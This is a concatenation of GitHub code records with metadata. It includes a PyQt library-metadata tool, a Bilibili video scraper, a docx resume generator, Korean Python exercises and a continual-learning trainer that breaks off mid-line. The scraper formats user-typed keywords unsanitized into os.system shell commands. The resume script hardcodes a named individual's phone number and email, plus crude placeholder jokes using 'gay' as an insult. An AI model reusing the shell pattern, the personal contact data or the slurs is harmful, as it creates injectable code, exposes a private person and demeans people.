extracted_sudocs[extracted_sudocs['Error Code'] == \"multiple records\"]])\r\n for i in range(len(pending_queries)):\r\n query_result = self.OCLC.query(pending_queries.iloc[i][\"SuDoc\"])\r\n query_result = json.loads(query_result)\r\n #print(query_result)\r\n if int(query_result[\"numberOfRecords\"]) != 1:\r\n if pd.isna(pending_queries.iloc[i][\"Query Status\"]):\r\n pending_queries.loc[i,\"Query Status\"] = 1 \r\n else:\r\n pending_queries.loc[i,\"Query Status\"] +=1\r\n \r\n else:\r\n text = query_result['bibRecords'][0]['title']['mainTitles'][0]['text']\r\n year = query_result['bibRecords'][0]['date']['publicationDate']\r\n\r\n pending_queries.iloc[i][\"Title\"] = text\r\n pending_queries.iloc[i][\"Publication Year\"] = year\r\n pending_queries.iloc[i][\"Error Code\"] = \"Data Collected\"\r\n return pending_queries\r\n\r\n def merge_pending_queries(self, outliers) -> None:\r\n \"\"\"\r\n merge_pending_queries:\r\n writes the finalized results from the verification process back\r\n into the main csv\r\n \"\"\"\r\n extracted_sudocs = pd.read_csv(\"./extracted_data/extracted_data.csv\")\r\n for i in outliers['ID']:\r\n extracted_sudocs.at[i,'SuDoc'] = outliers.at[i,'SuDoc']\r\n extracted_sudocs.at[i, 'Title'] = outliers.at[i,'Title']\r\n extracted_sudocs.at[i, 'Publication Year'] = outliers.at[i,'Publication Year']\r\n count = len(extracted_sudocs[extracted_sudocs[\"Error Code\"] == \"Data Collected\"])\r\n total = len(extracted_sudocs)\r\n self.designer.query_in_process_warning_delete(self.homepage)\r\n self.designer.querySuccessRate(self.homepage,count,total)\r\n self.query_in_process = False\r\n \r\n def preview_csv(self)->None:\r\n \"\"\"\r\n preview_csv:\r\n displays a preview of the first 5[or less] instances of the\r\n pulled data on the homepage window\r\n \r\n \"\"\"\r\n extracted_data = pd.read_csv(\"./extracted_data/extracted_data.csv\")\r\n preview = extracted_data[\"Error Code\"].head().to_string()\r\n self.homepage.preview_results(self.homepage, preview)\r\n \r\n def download_csv(self)->None:\r\n \"\"\"\r\n download_csv: \r\n Saves the resulting data from the query into the users\r\n downloads folder\r\n \"\"\"\r\n time = datetime.datetime.now()\r\n time = time.strftime('%Y-%m-%d %H-%M-%S')[:-3]\r\n extracted_data = pd.read_csv(\"./extracted_data/extracted_data.csv\")\r\n extracted_data = extracted_data[[\"ID\", \"Title\", \"SuDoc\", \"Publication Year\"]]\r\n extracted_data.to_csv(\"~/Downloads/resulting_data_\" + time + \".csv\", index=False)\r\n\r\n def new_query(self) -> None:\r\n \"\"\"\r\n new_query: \r\n Resets the interface. Will return the user to the login\r\n window and reinitialize all PMET APP flags and variables.\r\n Serves the purpose of restricting multiple queries in order\r\n to stay within the token time frame\r\n \"\"\"\r\n\r\n #print(\"Function was called\")\r\n #os.remove(\"./extracted_data/extracted_data.csv\") UNCOMMENT IN FINAL VERSION!\r\n self.homepage.parent.close()\r\n self.homepage = None\r\n self.designer = WindowDesigner(self)\r\n print(\"Creating Login Window\")\r\n \r\n self.designer.create_login_window()\r\n self.homepage = None \r\n self.directory_path= None\r\n self.style_flag = False \r\n self.query_worker = None\r\n self.extracted_csv = None\r\n self.credential = False\r\n self.credentials_saved = False\r\n self.OCLC = None\r\n #Reset entire system and all flag variables to reinstantiate the window\r\n \r\n\r\nif __name__ == '__main__':\r\n app = QApplication([]) # Create the QApplication instance\r\n pmet_app = PMETApp()\r\n pmet_app.run()\r\n sys.exit(app.exec()) # Start the event loop with app.exec()\r\n", "repo_name": "Quorum-Code/photo-metadata-extractor-tool", "sub_path": "Interactive_Program_Interface.py", "file_name": "Interactive_Program_Interface.py", "file_ext": "py", "file_size_in_byte": 36406, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "qdarkstyle.load_stylesheet_pyqt5", "line_number": 600, "usage_type": "call"}, {"api_name": "query_worker.QueryWorker", "line_number": 616, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 696, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 703, "usage_type": "call"}, {"api_name": "pandas.isna", "line_number": 707, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 739, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 740, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 761, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 803, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 804, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 808, "usage_type": "call"}, {"api_name": "pandas.isna", "line_number": 811, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 798, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 831, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 849, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 859, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 859, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 861, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 897, "usage_type": "call"}]} +{"seq_id": "11777761597", "text": "from collections import deque\n\nn = int(input())\nqueue = deque()\nballoons = list(enumerate(map(int, input().split())))\n\nfor balloon in balloons:\n queue.append(balloon)\n\nfor i in range(n):\n number, move = queue.popleft()\n if i == n-1:\n print(number+1, end='')\n else:\n print(number+1, end=' ')\n if move > 0:\n queue.rotate(-(move-1))\n else:\n queue.rotate(-move)\n", "repo_name": "junyng/algorithm", "sub_path": "BOJ/2346.py", "file_name": "2346.py", "file_ext": "py", "file_size_in_byte": 404, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.deque", "line_number": 4, "usage_type": "call"}]} +{"seq_id": "35339963962", "text": "#!/usr/bin/env python \n# -*- coding: utf-8 -*- \n# @Time : 2019/10/24 17:30 \n# @Author : Wancheng.b \n# @File : Bilibili.py \n# @Software: PyCharm\n\n'''\nnav标签栏链接:\n首页：https://www.bilibili.com\n动漫：https://www.bilibili.com/v/douga\n影视：https://www.bilibili.com/v/cinephile 影视剪辑和影视杂谈\n'''\n\nimport os\nimport time\n\nimport requests\nfrom lxml import etree\nfrom selenium import webdriver\n\n\nclass BiliSearch:\n '''搜索关键字下载爬取'''\n\n def getBySearch(self):\n\n global input\n input = input('请输入要查询的关键字：')\n print('输入的是：', input)\n # https://search.bilibili.com/all?keyword=火影&page=1\n print(input)\n bilili_url = 'https://search.bilibili.com/all?keyword={}&page=1'.format(input)\n res = requests.get(bilili_url)\n print(res.status_code)\n html = res.text\n selector = etree.HTML(html)\n # 获取总页数\n pageNum = int(selector.xpath('//li[@class=\"page-item last\"]/button/text()')[0].strip())\n print('总页数：', pageNum)\n\n # 存放目录\n if not os.path.exists('d:/video/{}'.format(input)):\n os.mkdir('d:/video/{}'.format(input))\n\n # 下载\n for i in range(1, pageNum + 1):\n bilili_url = 'https://search.bilibili.com/all?keyword={}&page={}'.format(input, i)\n res = requests.get(bilili_url)\n print(res.status_code)\n html = res.text\n selector = etree.HTML(html)\n a_list = selector.xpath('//li[@class=\"video-item matrix\"]/a/@href')\n print(a_list)\n for a in a_list:\n # 根据you-get下载\n print('you-get -o d:/video/{} http:{}'.format(input, a))\n os.system('you-get -o d:/video/{} https:{}'.format(input, a))\n\n\n'''\n首页Nav栏爬取,考虑到爬取全站太费时间了，可以爬取某个Nav下的全部或者某个小分类\n参数格式(nav, lev1, lev2, ...) ('影视', '影视杂谈', '影视剪辑', ...)\n'''\n\n\nclass BiliNav:\n\n def __init__(self):\n self.shouye_url = 'https://www.bilibili.com'\n self.Headers = {\n 'Origin': 'https://www.bilibili.com',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',\n 'Sec-Fetch-Mode': 'cors',\n 'Referer': 'https://www.bilibili.com/v/cinephile/cinecism/?spm_id_from=333.6.b_7072696d6172795f6d656e75.88'\n }\n\n def getNav(self):\n global input\n input = '影视, 影视杂谈, 影视剪辑'\n # input = input(\"请输入爬取的Nav内容，如(影视, 影视杂谈, 影视剪辑, ...)：\")\n print('输入的是：', input)\n input_list = input.split(', ')\n res = requests.get(self.shouye_url)\n print(res.status_code)\n print('输入的数据拆分成列表，input_list:', input_list)\n selector = etree.HTML(res.text)\n\n # 返回格式[['影视', '影视杂谈', '按热度排序的url'], ...]\n list = []\n for input_title in input_list[1:]:\n url = selector.xpath(\n '//ul[@class=\"nav-menu\"]/li/a/div[contains(text(), \"{}\")]/parent::a/parent::li/ul//a/span[contains(text(), \"{}\")]/parent::a/@href'.format(\n input_list[0], input_title))[0]\n\n # 获取到的url：www.bilibili.com/v/cinephile/cinecism/是默认排序的转换为按热度排序为：https://www.bilibili.com/v/cinephile/cinecism/#/all/click，多了/#/all/click\n url_title = []\n url_title.append(input_list[0])\n url_title.append(input_title)\n url_title.append('https:' + url + '#/all/click')\n list.append(url_title)\n print(\"返回格式形如[['影视', '影视杂谈', '按热度排序的url'], ...]\", list)\n # https://www.bilibili.com/v/cinephile/cinecism/#/all/click\n return list\n\n def getVideo(self, url, inputType):\n\n # res = requests.get(url, headers=self.Headers)\n # print(res.status_code)\n # print(res.text)\n # selector = etree.HTML(res.text)\n # href_list = selector.xpath('//div[@id=\"videolist_box\"]//ul/li//a/@href')\n # print(href_list)\n driver = webdriver.Chrome()\n driver.get(url)\n\n # 存放目录\n if not os.path.exists('D:/voide/{}'.format(inputType)):\n os.mkdir('d:/voide/{}'.format(inputType))\n pageNum = driver.find_element_by_xpath('//button[@class=\"pagination-btn\"]').text\n for page in range(int(pageNum) + 1):\n time.sleep(2)\n a_list = driver.find_elements_by_xpath('//div[@id=\"videolist_box\"]//ul/li//a')\n for href in a_list:\n # 根据you-get下载\n print(href.get_attribute('href'))\n os.system('you-get -o D:/voide/{} {}'.format(inputType, href.get_attribute('href')))\n driver.find_element_by_xpath('//button[@class=\"nav-btn iconfont icon-arrowdown3\"]').click()\n\n\nif __name__ == '__main__':\n # 通过搜索爬\n BiliSearch().getBySearch()\n\n # 通过nav爬取\n # title_url = BiliNav().getNav()\n # print(title_url)\n # for i in range(len(title_url)):\n # BiliNav().getVideo(title_url[i][2], title_url[i][1])\n", "repo_name": "bianwancheng/Spider", "sub_path": "spider/Bilibili.py", "file_name": "Bilibili.py", "file_ext": "py", "file_size_in_byte": 5335, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.get", "line_number": 34, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 37, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 37, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 44, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 49, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 52, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 52, "usage_type": "name"}, {"api_name": "os.system", "line_number": 58, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 84, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 87, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 87, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 114, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 114, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path", "line_number": 118, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 119, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 122, "usage_type": "call"}, {"api_name": "os.system", "line_number": 127, "usage_type": "call"}]} +{"seq_id": "33904060600", "text": "import docx\r\n#Necessary Details to put in the masterclass\r\nName = 'Philip Andrew Wee De Wang'\r\nMobileNo = '84381245'\r\nPersonalEmail = 'philip_andrew@mymail.sutd.edu.sg'\r\nCompanyWorked = 'Singapore University of Technology and Education'\r\nJobScope = 'Student'\r\nCountry = 'Singapore'\r\nTimePeriodWorked = 'Jan 16 to Mar 16'\r\nOverarchingTheme = 'EDUCATION'\r\nExperiencePoints = ['well thats pretty gay','really','gay','gay','']\r\nAdditionalInformation = ['sexy','hot','chio','doctors hate me click here to find out how','','','','']\r\n\r\n#Create a new Resume with the Resume Template\r\n#implemented\r\nResume = docx.Document('Resume Template.docx')\r\nprint(getText(Resume))\r\n\r\n#Used to get the raw text from a word document\r\n#implemented\r\ndef getText(filename):\r\n doc = filename\r\n fullText = []\r\n for para in doc.paragraphs:\r\n para = para.text\r\n return '\\n'.join(fullText)\r\n\r\n#Function to delete paragraphs, necessary removing extra experience points in overarching theme maker\r\ndef delete_paragraph(paragraph):\r\n p = paragraph._element\r\n p.getparent().remove(p)\r\n p._p = p._element = None\r\n \r\n#Function to combine multiple documents, so we can spam fill the Resume document \r\n#implemented\r\ndef document_combiner(source_document,target_document):\r\n for element in source_document.element.body:\r\n target_document.element.body.append(element)\r\n return target_document\r\n \r\n#Function to make the Overarching theme, Education, SUTD, School, etc\r\ndef OverarchingThemeMaker(OverarchingTheme,\r\n CompanyWorked,\r\n Country,\r\n JobScope,\r\n TimePeriodWorked,\r\n ExperiencePoints):\r\n Output = docx.Document('Overarching Theme Template.docx')\r\n for para in Output.paragraphs:\r\n print(para.text)\r\n for run in para.runs:\r\n# print(run.text)\r\n run.text = run.text.format(OverarchingTheme = OverarchingTheme)\r\n return Output\r\n\r\ndef IndividualProjectMaker(OverarchingTheme,\r\n CompanyWorked,\r\n Country,\r\n JobScope,\r\n TimePeriodWorked,\r\n ExperiencePoints):\r\n Output = docx.Document('Individual Projects Template.docx')\r\n for para in Output.paragraphs:\r\n print(para.text)\r\n for run in para.runs:\r\n# print(run.text)\r\n run.text = run.text.format(OverarchingTheme = OverarchingTheme,\r\n JobScope = JobScope,\r\n Country = Country,\r\n TimePeriodWorked = TimePeriodWorked,\r\n CompanyWorked = CompanyWorked,\r\n ExperiencePoints = ExperiencePoints)\r\n if run.text == '':\r\n delete_paragraph(para)\r\n return Output\r\n\r\ndef AdditionalInformationMaker(AdditionalInformation):\r\n Output = docx.Document('Additional Information Template.docx')\r\n for para in Output.paragraphs:\r\n print(para.text)\r\n for run in para.runs:\r\n print(run.text)\r\n run.text = run.text.format(AdditionalInformation = AdditionalInformation)\r\n if run.text == '':\r\n delete_paragraph(para)\r\n return Output\r\n\r\n#The function to create the Resume\r\ndef create_resume(Resume):\r\n for para in Resume.paragraphs:\r\n for run in para.runs:\r\n print(run.text)\r\n run.text = run.text.format(Name = Name, \r\n MobileNo = MobileNo, \r\n PersonalEmail = PersonalEmail, \r\n LinkedIn = '')\r\n \r\n Theme1 = OverarchingThemeMaker(OverarchingTheme,\r\n CompanyWorked,\r\n Country,\r\n JobScope,\r\n TimePeriodWorked,\r\n ExperiencePoints)\r\n \r\n IndividualProject1 = IndividualProjectMaker(OverarchingTheme,\r\n CompanyWorked,\r\n Country,\r\n JobScope,\r\n TimePeriodWorked,\r\n ExperiencePoints)\r\n \r\n IndividualProject2 = IndividualProjectMaker(OverarchingTheme,\r\n CompanyWorked,\r\n Country,\r\n JobScope,\r\n TimePeriodWorked,\r\n ExperiencePoints)\r\n \r\n AdditionalInformation1 = AdditionalInformationMaker(AdditionalInformation)\r\n\r\n Resume = document_combiner(Theme1, Resume)\r\n Resume = document_combiner(IndividualProject1, Resume)\r\n Resume = document_combiner(IndividualProject2, Resume)\r\n Resume = document_combiner(AdditionalInformation1, Resume)\r\n \r\n \r\n return Resume\r\n\r\ncreate_resume(Resume) \r\nResume.save('Resume Output.docx')\r\n\r\n\r\n \r\n\r\n#OverarchingThemeMaker(OverarchingTheme,\r\n# CompanyWorked,\r\n# Country,\r\n# JobScope,\r\n# TimePeriodWorked,\r\n# ExperiencePoints).save('Resume Output.docx')\r\n\r\n\r\n", "repo_name": "PhilipWee/ResumeAndCoverLetterMaker", "sub_path": "master.py", "file_name": "master.py", "file_ext": "py", "file_size_in_byte": 5633, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "docx.Document", "line_number": 16, "usage_type": "call"}, {"api_name": "docx.Document", "line_number": 48, "usage_type": "call"}, {"api_name": "docx.Document", "line_number": 62, "usage_type": "call"}, {"api_name": "docx.Document", "line_number": 78, "usage_type": "call"}]} +{"seq_id": "42959719833", "text": "print(\"1번 문제\")\ndata = '이의덕,이재명,권종수,이재수,박철호,강동희,이재수,김지석,최승만,이성만,박영희,박수호,전경식,송우환,김재식,이유정'\n\nnames = data.split(\",\")\npark = 0\nkim = 0\n\nfor name in names:\n if name.startswith('박'):\n park += 1\n elif name.startswith('김'):\n kim += 1\n\nprint(kim, park) # 1. 김씨와 박씨 count 출력\nprint(names.count('이재수')) # 2. \"이재수\"란 이름 count 출력\n\nnames = list(set(names))\nprint(names) # 3. 중복을 제거한 이름을 출력\nprint(sorted(names)) # 4. 중복을 제거한 이름을 오름차순으로 정렬하여 출력\n\n\n\nprint(\"\")\nprint(\"2번 문제\")\nsum1 = 0\nsum2 = 0\n\nfor i in range(1, 100+1):\n sum1 += i\n sum2 += i**2 # 제곱의 합\n\nsum1 = sum1 ** 2 # 합의 제곱\n\nprint(sum1 - sum2)\n\n\n\nprint(\"\")\nprint(\"3번 문제\")\n\nfrom collections import defaultdict\n\nd = defaultdict(int)\nfor number in range(1, 100+1):\n for c in str(number):\n d[c] += 1\n\nprint(dict(d))\n\n\n\nprint(\"\")\nprint(\"4번 문제\")\n\ndata = \"454679323412356743\"\n\nnumbers = list(map(int, data)) # 숫자 문자열을 숫자 리스트로 변경\nresult = []\n\nfor i, num in enumerate(numbers):\n result.append(str(num))\n if i < len(numbers)-1: # 다음수가 있다면\n is_odd = num % 2 == 1 # 현재수가 홀수\n is_next_odd = numbers[i+1] % 2 == 1 # 다음수가 홀수\n if is_odd and is_next_odd: # 연속 홀수\n result.append(\"-\")\n elif not is_odd and not is_next_odd: # 연속 짝수\n result.append(\"*\")\n\nprint(\"\".join(result))\n\n\n\n\nprint(\"\")\nprint(\"5번 문제\")\n\ndef compress_string(s):\n _c = \"\"\n cnt = 0\n result = \"\"\n for c in s:\n if c!=_c:\n _c = c\n if cnt: result += str(cnt)\n result += c\n cnt = 1\n else:\n cnt +=1\n if cnt: result += str(cnt)\n return result\n\nprint (compress_string(\"aaabbcccccca\")) #a3b2c6a1 출력\n\n\n\n\n\n\nprint(\"\")\nprint(\"6번 문제\")\n\ndef chkDupNum(s):\n result = [ ]\n for num in s:\n if num not in result:\n result.append(num)\n else:\n return False\n return len(result) == 10\n\nprint(chkDupNum(\"0123456789\")) # True 리턴\nprint(chkDupNum(\"01234\")) # False 리턴\nprint(chkDupNum(\"01234567890\")) # False 리턴\nprint(chkDupNum(\"6789012345\")) # True 리턴\nprint(chkDupNum(\"012322456789\")) # False 리턴\n\n\n\n\nprint(\"\")\nprint(\"7번 문제\")\n\ndic = {\n '.-':'A','-...':'B','-.-.':'C','-..':'D','.':'E','..-.':'F',\n '--.':'G','....':'H','..':'I','.---':'J','-.-':'K','.-..':'L',\n '--':'M','-.':'N','---':'O','.--.':'P','--.-':'Q','.-.':'R',\n '...':'S','-':'T','..-':'U','...-':'V','.--':'W','-..-':'X',\n '-.--':'Y','--..':'Z'\n}\n\ndef morse(src):\n result = []\n for word in src.split(\" \"):\n for char in word.split(\" \"):\n result.append(dic[char])\n result.append(\" \")\n return \"\".join(result)\n\n\nprint(morse('.... . ... .-.. . . .--. ... . .- .-. .-.. -.--'))\n\n\n\n\n\nprint(\"\")\nprint(\"8번 문제\")\nimport re\n\np = re.compile(\"a[.]{3,}b\")\n\nprint (p.match(\"acccb\")) # None\nprint (p.match(\"a....b\")) # 매치객체 출력\nprint (p.match(\"aaab\")) # None\nprint (p.match(\"a.cccb\")) # None\n\n\n\n\n\n\n\nprint(\"\")\nprint(\"9번 문제\")\nimport re\n\np = re.compile('[a-z]+')\nm = p.search(\"5 python\")\nprint(m.start() + m.end()) # 10 출력\n\n\n\n\n\nprint(\"\")\nprint(\"10번 문제\")\nimport re\n\ns = \"\"\"\npark 010-9999-9988\nkim 010-9909-7789\nlee 010-8789-7768\n\"\"\"\n\npat = re.compile(\"(\\d{3}[-]\\d{4})[-]\\d{4}\")\nresult = pat.sub(\"\\g<1>-####\", s)\n\nprint(result)\n\n\n\n\n\n\nprint(\"\")\nprint(\"11번 문제\")\nimport re\n\npat = re.compile(\".*[@].*[.](?:com$|net$).*$\")\n\nprint (pat.match(\"pahkey@gmail.com\"))\nprint (pat.match(\"kim@daum.net\"))\nprint (pat.match(\"lee@myhome.co.kr\"))\n\n\n\n\nprint(\"\")\nprint(\"12번 문제\")\nfrom xml.etree.ElementTree import Element, SubElement, ElementTree\n\nblog = Element(\"blog\")\nblog.attrib[\"date\"] = \"20151231\"\n\nSubElement(blog, \"subject\").text = \"Why python?\"\nSubElement(blog, \"author\").text = \"Eric\"\nSubElement(blog, \"content\").text = \"Life is too short, You need Python!\"\n\nElementTree(blog).write(\"blog.xml\")\n\n\n\n\nprint(\"\")\nprint(\"13번 문제\")\nimport json\n\nwith open('myinfo.json') as f:\n data = json.load(f) # json파일을 읽고 딕셔너리로 저장한다.\n\ndata['age'] = 40 # age 값을 40으로 변경\n\nwith open('myinfo.json', 'w') as f:\n json.dump(data, f, indent=4) # 딕셔너리를 json 파일로 저장한다.\n\n\n\n\n\nprint(\"\")\nprint(\"14번 문제\")\nfrom operator import itemgetter\n\nstudents = [\n (\"홍길동\", 22),\n (\"김철수\", 32),\n (\"박영희\", 17),\n]\n\nstudents = sorted(students, key=itemgetter(1))\n\nprint(students)\n\n", "repo_name": "manaslu85/python", "sub_path": "practice/practice.py", "file_name": "practice.py", "file_ext": "py", "file_size_in_byte": 4946, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.defaultdict", "line_number": 43, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 151, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 168, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 186, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 200, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 213, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 216, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 217, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 218, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.ElementTree", "line_number": 220, "usage_type": "call"}, {"api_name": "json.load", "line_number": 230, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 235, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 251, "usage_type": "call"}]} +{"seq_id": "5946247698", "text": "\nimport os\nimport time \nimport numpy as np\nimport torch\n\nfrom trainer.rs import ReplaySchedulingTrainer\nfrom trainer.utils import get_data_loader, pre_select_memory_inds\nfrom trainer.utils import update_reservoir, update_fifo_buffer\nfrom trainer.utils import flatten_grads, assign_grads\n\nclass ReplaySchedulingTrainerExtension(ReplaySchedulingTrainer):\n \"\"\" Trainer for Replay Scheduling. \n \"\"\"\n\n def __init__(self, config):\n super().__init__(config)\n self.training_extension = config['training']['extension']\n\n if self.training_extension in ['er', 'agem']:\n self.replay_selection = 'ring_buffer' \n else:\n raise ValueError('Extension {} to Replay Scheduling is not implemented.'.format(self.training_extension))\n\n def train_single_task(self, task_id, train_dataset): \n \"\"\" Train model on single task dataset.\n\n Args:\n task_id (int): Task identifier (splitMNIST: 1-5).\n train_dataset (torch.Dataset): Training dataset for current task.\n partition (dict): Proportion of samples to grab from each task in each dictionary slot.\n \"\"\"\n\n # For reproducibility in tree searches, setting the PyTorch seed here is important\n # to get the same batches in the dataloader. Set it based on task_id, so it will\n # be the same when we run the tree search in run_tree_search.py.\n # We do not set numpy.random.seed becuase this is used for shuffling replay\n # samples within a batch (necessary?) and also the node selection in MCTS. \n #torch.manual_seed(2021+task_id)\n #np.random.seed(2021+task_id)\n self.model.train()\n\n # Shorthands\n scenario = self.scenario\n classes_per_task = self.classes_per_task\n n_epochs = self.n_epochs\n batch_size = self.batch_size\n device = self.device\n logger = self.logger\n #n_replays = 0\n self.current_task = task_id\n\n # if Resnet and first task, train for 5 epochs\n if (self.config['model']['net'] == 'resnet18') and (task_id == 1):\n n_epochs = 5\n\n # Reset optimizer before every task in ER\n if self.config['training']['reset_optimizer']:\n print('resetting optimizer')\n self.optimizer = self.prepare_optimizer()\n\n active_classes = self._get_active_classes_up_to_task_id(task_id)\n data_loader = get_data_loader(train_dataset,\n batch_size=self.batch_size,\n num_workers=self.num_workers, \n pin_memory=self.pin_memory, \n shuffle=True,\n rng=torch.Generator().manual_seed(self.seed+task_id))#self.gen_pytorch)\n memory_replay_shuffler = np.random.RandomState(self.seed+task_id)\n # Get replay data from partition\n if task_id > 1 and self.replay_enabled and self.replay_schedule is not None:\n partition = self.replay_schedule[self.n_replays]\n x_replay_from_partition, y_replay_from_partition = self.get_memory_for_training_from_partition(partition)\n print('in trainer, selected y_replay: ', y_replay_from_partition)\n print('in trainer, mean selected x_replay: ', torch.mean(x_replay_from_partition))\n print()\n self.n_replays += 1\n t0 = time.time()\n print('self.episodic_labels: ', self.episodic_labels)\n for epoch in range(n_epochs):\n loss_curr = 0.0\n loss_replay = 0.0\n acc, acc_replay = 0.0, 0.0\n for batch_idx, (x, y) in enumerate(data_loader):\n #-----------------Collect data------------------#\n ### Current Batch\n #--> ITL: adjust current y-targets to 'active range', e.g. [0, 1] if 2 classes/task \n if isinstance(classes_per_task, list): # adjusting range is different for Omniglot though\n class_offset = active_classes[-1][0] # get first index of current class tasks\n y_curr = y-class_offset if (scenario == \"task\") else y \n else:\n y_curr = y-classes_per_task*(task_id-1) if (scenario == \"task\") else y \n x_curr, y_curr = x.to(device), y_curr.to(device) #--> transfer them to correct device\n\n ### Get Replay Batch\n if (task_id == 1) or (self.replay_enabled==False):\n x_replay = y_replay = None #-> if no replay\n else:\n x_replay, y_replay = self.get_replay_batch(task_id, \n x_replay_from_partition, \n y_replay_from_partition, \n shuffler=memory_replay_shuffler)\n # Train the main model with this batch\n if self.training_extension == 'agem':\n loss_dict = self.train_batch_with_agem(x_curr, y_curr, \n x_=x_replay, y_=y_replay,\n active_classes=active_classes, \n task=task_id,)\n else:\n loss_dict = self.train_batch(x_curr, y_curr, \n x_=x_replay, y_=y_replay,\n active_classes=active_classes, \n task=task_id,)\n # Add batch results to metrics\n loss_curr += loss_dict['loss_current']\n loss_replay += loss_dict['loss_replay']\n acc += loss_dict['accuracy']\n acc_replay += loss_dict['accuracy_replay']\n # Update episodic memory\n self.update_memory_during_training(x, y)\n\n #break\n # End of epoch\n loss_curr = loss_curr / (batch_idx + 1)\n loss_replay = loss_replay / (batch_idx + 1)\n acc = acc / (batch_idx + 1)\n acc_replay = acc_replay / (batch_idx + 1)\n\n # Add metrics to logger\n epochs_total = (n_epochs * (task_id-1)) + (epoch+1)\n logger.add('loss', 'train', loss_curr, it=epochs_total) \n logger.add('accuracy', 'train', acc, it=epochs_total) \n\n # Print stats\n loss_curr_last = logger.get_last('loss', 'train')\n acc_last = logger.get_last('accuracy', 'train')\n if ((epoch+1) % self.print_every) == 0:\n print('[epoch %3d/%3d] loss current = %.4f, acc = %.4f, loss replay = %.4f, acc replay = %.4f'\n % (epoch+1, n_epochs, loss_curr, acc, loss_replay, acc_replay))\n \n ###################### END of training task ######################\n # Update memory buffer and parameters \n if self.use_episodic_memory:\n #self.update_episodic_memory(train_dataset)\n self.episodic_filled_counter += self.memories_per_class * self.classes_per_task\n \n print('End training for task %d...' % task_id)\n self.last_trained_task = task_id\n self.logger.save_stats('stats.p')\n\n def update_memory_during_training(self, x, y):\n # Update episodic memory during training\n if self.replay_selection == 'ring_buffer':\n # Put the batch in the ring buffer\n update_fifo_buffer(current_images=x,\n current_labels=y,\n episodic_images=self.episodic_images,\n episodic_labels=self.episodic_labels,\n count_cls=self.count_cls,\n memories_per_class=self.memories_per_class,\n episodic_filled_counter=self.episodic_filled_counter,\n cl_scenario=self.scenario)\n else:\n raise ValueError('Selection method {} for replay samples does not exist'.format(self.replay_selection))\n\n\n def train_batch_with_agem(self, x, y, x_=None, y_=None, active_classes=None, task=1):\n \"\"\" Train model on single batch of current task samples\n and (optionally) replay samples for the Task Incremental\n Learning setting.\n Args:\n x (torch.Tensor): Input data from current task. \n y (torch.LongTensor): Labels from current task.\n x_ (dict with torch.Tensor): Input data from replay tasks. \n y_ (dict with torch.LongTensor): Labels from replay_tasks.\n active_classes (list): Active classes for each task, (ex: [[0, 1], [2, 3], [4,5], ...])\n task (int): Task id number starting from 1, e.g. splitMNIST: 1-5\n Returns:\n loss_dict (dict): Dictionary with loss and accuracy metrics.\n \"\"\"\n self.model.train()\n self.optimizer.zero_grad()\n # Shorthands\n classes_per_task = self.classes_per_task\n scenario = self.scenario\n\n # Run model on current task data\n y_hat = self.model(x)\n # -if needed, remove predictions for classes not in current task\n if active_classes is not None:\n class_entries = active_classes[-1] if type(active_classes[0])==list else active_classes\n y_hat = y_hat[:, class_entries]\n # prediction loss\n loss_curr = self.criterion(y_hat, y) \n # Calculate training acc\n accuracy = (y == y_hat.max(1)[1]).sum().item() / x.size(0)\n\n # Compute gradients for batch with current task data\n loss_curr.backward()\n if task > 1:\n grad_batch = 